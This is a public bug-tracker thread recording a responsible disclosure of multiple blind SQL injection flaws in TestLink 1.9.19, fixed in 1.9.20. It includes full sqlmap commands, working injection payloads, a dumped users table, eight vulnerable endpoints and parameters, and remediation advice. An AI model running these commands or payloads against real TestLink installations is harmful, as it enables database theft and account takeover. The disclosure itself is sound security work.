MantisBT - TestLink
View Issue Details
0008829TestLinkSecurity - SQL Injectionpublic2019-12-23 19:372020-03-04 18:17
kb1 
fman 
urgentmajoralways
resolvedfixed 
IndependentIndependentIndependent
1.9.19 (2019 Q1) 
1.9.20 
MySQL
Independent
Independent
READY FOR TESTING
0008829: Multiple SQL Injection
Hello,
I've found multiple SQL Injections, that allows attacker to dump database.

I'd like to inform the Testlink team, give you time to patch things up, and assign CVE & do the responsible public disclosure.

Who can I talk to in details?
I will send details to security person
I will send details to security person
No tags attached.
Issue History
2019-12-23 19:37kb1New Issue
2019-12-28 07:38fmanNote Added: 0029336
2019-12-28 07:38fmanAssigned To => fman
2019-12-28 07:38fmanStatusnew => feedback
2019-12-28 15:54kb1Note Added: 0029360
2019-12-28 15:54kb1Statusfeedback => assigned
2019-12-30 08:53fmanNote Added: 0029362
2019-12-30 09:14fmanNote Added: 0029363
2019-12-30 09:14fmanStatusassigned => feedback
2019-12-30 20:42kb1Note Added: 0029368
2019-12-30 20:42kb1Statusfeedback => assigned
2019-12-31 11:15fmanNote Added: 0029369
2019-12-31 11:15fmanStatusassigned => feedback
2019-12-31 16:21kb1Note Added: 0029372
2019-12-31 16:21kb1Statusfeedback => assigned
2019-12-31 16:21kb1Note Edited: 0029372bug_revision_view_page.php?bugnote_id=29372#r5983
2020-01-01 15:25fmanNote Added: 0029375
2020-01-01 15:26fmanQA Team - Task Workflow Status => READY FOR TESTING
2020-01-01 15:26fmanStatusassigned => resolved
2020-01-01 15:26fmanFixed in Version => 1.9.20
2020-01-01 15:26fmanResolutionopen => fixed
2020-03-02 19:53kb1Note Added: 0029518
2020-03-04 18:17fmanView Statusprivate => public

Notes
(0029336)
fman   
2019-12-28 07:38   
please attach detailed information here

Please try to reproduce using latest code from github that will be the next stable version
(0029360)
kb1   
2019-12-28 15:54   
Hello,
my name is Krzysztof (Chris) and I am security researcher @ securitum.com.
You can find us at securitum.pl, securitum.com and sekurak.pl
If you have any doubts, feel free to contact me. You can find my email in my
Mantis user profile.

Below assumptions are based on TestLink 1.9.19, but it holds against latest
code from github.

I've found few places where user input is not validated before passing to SQL
query. This leads to Blind SQL Injection, ie:
- if injected query is right - you see rendered page
- if injected query is wrong - you see error message "DB Access Error -
debug_print_backtrace() [...]"

This is sufficient to execute Blind SQL Injection attack and dump database
content.
Technically speaking it is authorized injection (as you need valid TestLink
account), but TestLink in default configuration allows for creating guest
accounts, so it is no problem to aquire one and execute attack.


///
/// An example:
///
URL: <basepath>/lib/requirements/reqCompareVersions.php
parameter: req_spec_id

sqlmap invocation (some content is masked with "*" character by hand):
sqlmap --cookie "PHPSESSID=dodm9cnq7e9deb8h734qm4olmt; TESTLINK_USER_AUTH_COOKIE=****************************************************************" --data "req_spec_id=1" -u http://192.168.1.119/testlink-1.9.19/lib/requirements/reqSpecCompareRevisions.php [^] -p "req_spec_id" --method POST

This proofs, that SQL Injection entry point is valid.

[15:42:40] [INFO] POST parameter 'req_spec_id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
POST parameter 'req_spec_id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] sqlmap identified the following injection point(s) with a total of 48 HTTP(s) requests:
---
Parameter: req_spec_id (POST)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: req_spec_id=(SELECT (CASE WHEN (5830=5830) THEN 1 ELSE (SELECT 2312 UNION SELECT 9366) END))

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: req_spec_id=1 AND (SELECT 1861 FROM(SELECT COUNT(*),CONCAT(0x716b7a6a71,(SELECT (ELT(1861=1861,1))),0x716a6b7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: req_spec_id=1 AND (SELECT 7128 FROM (SELECT(SLEEP(5)))NEPr)

    Type: UNION query
    Title: Generic UNION query (NULL) - 13 columns
    Payload: req_spec_id=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b7a6a71,0x6e4e50504c666772547a4f59584d434654706b6151524e7747694c4b665a4e5150736f64724b4f6a,0x716a6b7671)-- vUfY
---

sqlmap invocation (some content is masked with "*" character by hand):
sqlmap --cookie "PHPSESSID=dodm9cnq7e9deb8h734qm4olmt; TESTLINK_USER_AUTH_COOKIE=****************************************************************" --data "req_spec_id=1" -u http://192.168.1.119/testlink-1.9.19/lib/requirements/reqSpecCompareRevisions.php [^] -p "req_spec_id" --method POST --dump -T users

gives you "users" table content (some content is masked with "*" character by
hand)

Database: testlink
Table: users
[2 entries]
+----+---------+------------------------+--------------------+----------------+--------------------+--------+--------+---------------+----------------------------------+------------+---------------------+-------------+------------------------------------------------------------------+-----------------+
| id | role_id | default_testproject_id | email | login | last | locale | active | first | password | script_key | creation_ts | auth_method | cookie_string | expiration_date |
+----+---------+------------------------+--------------------+----------------+--------------------+--------+--------+---------------+----------------------------------+------------+---------------------+-------------+------------------------------------------------------------------+-----------------+
| 1 | 8 | NULL | admin@admin.lan | admin | Administrator | en_GB | 1 | Testlink | ******************************** | NULL | 2019-12-23 14:35:54 | <blank> | **************************************************************** | NULL |
| 2 | 5 | NULL | guest@attacker.lan | guest_attacker | guest | en_GB | 1 | guest | ******************************** | NULL | 2019-12-28 15:15:03 | <blank> | **************************************************************** | NULL |
+----+---------+------------------------+--------------------+----------------+--------------------+--------+--------+---------------+----------------------------------+------------+---------------------+-------------+------------------------------------------------------------------+-----------------+

At this point, you can try to crack existing user (with high privileges)
password and do the complete takeover of application.
You can also dump any other data, of course.


///
/// Identified Blind SQL Injection entry points:
///
1.
URL: <basepath>/lib/keywords/keywordsView.php:
parameter: tproject_id

2.
URL: <basepath>/lib/requirements/reqSpecCompareRevisions.php
parameter: req_spec_id

3.
URL: <basepath>/lib/requirements/reqCompareVersions.php
parameter: requirement_id

4.
URL: <basepath>/lib/plan/planUpdateTC.php
parameter: build_id

5.
URL: <basepath>/lib/plan/newest_tcversions.php
parameter: tplan_id

6.
URL: <basepath>/lib/results/tcCreatedPerUserGUI.php
parameter: tplan_id

7.
URL: <basepath>/lib/testcases/tcAssign2Tplan.php
parameter: tcase_id

8.
URL: <basepath>/lib/testcases/tcCompareVersions.php
parameter: testcase_id


///
/// Recomendations:
///
1. There are more places with this construct (they do not lead to SQL Injection,
but it is very bad practice):
$args->[string]_id = isset($_REQUEST['[string]_id']) ? $_REQUEST['[string]_id'] :

find them all and change at least to

$args->[string]_id = isset($_REQUEST['[string]_id']) ? intval($_REQUEST['[string]_id']) :

the correct way would be to create single function that validates user input -
but that is much more work to do in current architecture.

2. Change user password hash algo. from ancient MD5 to bcrypt, as MD5 can be
cracked *very* fast.


///
/// Please let me know about patched version as I want to assign a CVE and do
/// the responsible public disclosure. Thank you.
/// -- Chris
(0029362)
fman   
2019-12-30 08:53   
Thanks a lot.
Going to work on this and provide feedback
(0029363)
fman   
2019-12-30 09:14   
I've just pushed the changed to

branch testlink_1_9 -> will be next stable release
branch tl11.19.9.0 -> fixes for latest release => 1.9.19

please let me know if your security checks on the new code are ok.

regards
(0029368)
kb1   
2019-12-30 20:42   
seems ok, but I found two more, while checking your commit, sorry for that :)

./lib/plan/tc_exec_unassign_all.php: $args->build_id = isset($_REQUEST['build_id']) ? $_REQUEST['build_id'] : 0;
./lib/results/testCasesWithCF.php: $argsObj->tplan_id = isset($_REQUEST['tplan_id']) ? $_REQUEST['tplan_id'] : 0;

patch these, please, and we're ok
(0029369)
fman   
2019-12-31 11:15   
thanks, just fixed

on testlink_1_9 you will also find the use of BCRYPT instead of MD5
(0029372)
kb1   
2019-12-31 16:21   
Great!

Please, let know your user base, that there is important security fix for Testlink.

I'll get back to you in ~ 60 days, to ask you kindly to make this issue public, which will allow for already reserved CVE to be published.
Until then, people can apply fixes.

Thank you for your cooperation.

Regards

(0029375)
fman   
2020-01-01 15:25   
OK, go ahead.
thanks a lot

Hope you will do more security checks in the future
(0029518)
kb1   
2020-03-02 19:53   
hey fman,
as the fix is ready, can I ask you kindly to make this thread public?

Regards,
Krzysztof